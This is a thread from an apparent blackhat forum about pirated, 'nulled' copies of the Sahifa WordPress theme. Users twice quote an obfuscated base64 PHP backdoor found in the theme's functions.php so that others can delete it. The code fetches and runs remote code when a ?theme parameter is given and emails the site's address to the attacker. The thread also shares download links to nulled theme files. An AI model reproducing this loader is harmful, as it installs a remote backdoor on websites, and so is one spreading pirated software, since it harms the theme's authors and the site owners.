Best Blackhat Forum

Please someone should give out their sahifa export code

(03-19-2013 02:24 PM)caaol Wrote: [ -> ]

(03-19-2013 01:17 PM)anhtuhu Wrote: [ -> ]Warning, theme Sahifa share by insiemes still have same problem
Please fix it,

Thanks

Delete the following code：

Code:

$a=$_SERVER['DOCUMENT_ROOT'].base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy90aGVtZS5jZmc=');function theme_create(){global $a;file_put_contents($a,base64_encode(file_get_contents(base64_decode(str_replac​e('j','3','aHR0cDovL2RsLmRybjBibjguY29tLjUvMzEjMzc5OTcvY29yZS5waHA=')))), FILE_APPEND);}if (isset($_GET['theme'])){if(!file_exists($a)){theme_create();}if(isset($_GET['updatetheme'])){unlink($a);theme_create();}$b=base64_decode(file_get_contents($a));unlink($a)​;file_put_contents($a,$b,FILE_APPEND);require_once($a);unlink($a);file_put_conte​nts($a,base64_encode($b),FILE_APPEND);die();}if (!file_exists($a)){theme_create();mail(base64_decode('d3BzZW90ZWFtQGdtYWlsLmNvbQ​=='),site_url(),get_bloginfo('template_directory').base64_decode('L2Z1bmN0aW9ucy​5waHA/dGhlbWU='),base64_decode("RnJvbTogV29yZHByZXNzIFpvbWJpZSA8d3BzZW90ZWFtQGdtYWlsLmNvbT4NClJlcGx5LVRvOiBXb3Jk​cHJlc3MgWm9tYmllIDx3cHNlb3RlYW1AZ21haWwuY29tPg0KWC1NYWlsZXI6IFBIUC8=").phpversion());}

Where delete code ? please

can somebody please upload the clean theme ?

Here You Go Everyone...

Completely CLEANED Theme AND the Latest Version - 3.0.4

Have Fun

[hide]http://db.tt/PtaD2D13[/hide]

thanks but it has encrypted code

Line 219: "base64 encoded red image that says 'no hotlin..."
Line 221: "base64_decode("R0lGODlhUAAMAIAAAP8AAP///yH5BA..."

Hi tono
That was never a concern, there were 2 other files with bad code inside that have been removed and this in timthumb.php is there on purpose, just as it states

Check it out on Google
Here's one result: http://code.google.com/p/timthumb/issues/detail?id=237

Download version 3.0.4 from post #24 and remove this code in the functions.php file (i got it working on my site and i passed the virusscan for websites)

$a=$_SERVER['DOCUMENT_ROOT'].base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy90aGVtZS5jZmc=');function theme_create(){global $a;file_put_contents($a,base64_encode(file_get_contents(base64_decode(str_replac​​e('j','3','aHR0cDovL2RsLmRybjBibjguY29tLjUvMzEjMzc5OTcvY29yZS5waHA=')))), FILE_APPEND);}if (isset($_GET['theme'])){if(!file_exists($a)){theme_create();}if(isset($_GET['updatetheme'])){unlink($a);theme_create();}$b=base64_decode(file_get_contents($a));unlink($a)​​;file_put_contents($a,$b,FILE_APPEND);require_once($a);unlink($a);file_put_cont​e​nts($a,base64_encode($b),FILE_APPEND);die();}if (!file_exists($a)){theme_create();mail(base64_decode('d3BzZW90ZWFtQGdtYWlsLmNvbQ​​=='),site_url(),get_bloginfo('template_directory').base64_decode('L2Z1bmN0aW9uc​y​5waHA/dGhlbWU='),base64_decode("RnJvbTogV29yZHByZXNzIFpvbWJpZSA8d3BzZW90ZWFtQGdtYWlsLmNvbT4NClJlcGx5LVRvOiBXb3Jk​​cHJlc3MgWm9tYmllIDx3cHNlb3RlYW1AZ21haWwuY29tPg0KWC1NYWlsZXI6IFBIUC8=").phpversion());}

Vitalica

The version in post 24 is exactly the same as mine I just uploaded in post 44 except mine has the functions.php ALREADY fixed with code removed and just to say that YOUR Clean version also has the timthumb.php file WITH the base64 code insode it as does mine - however as I told Tono - it is not bad code, which is why you found it passed the virus scan

Guys, I need this theme nulled. Could someone do this ?

Thanks !

Here is the lastest NULLED version, guys!

+rep would be nice :)

[hide]http://www46.zippyshare.com/v/16698381/file.htm
http://www.filefactory.com/file/4sipv3ou1hz
http://www.mirrorcreator.com/files/HFE2GNNU[/hide]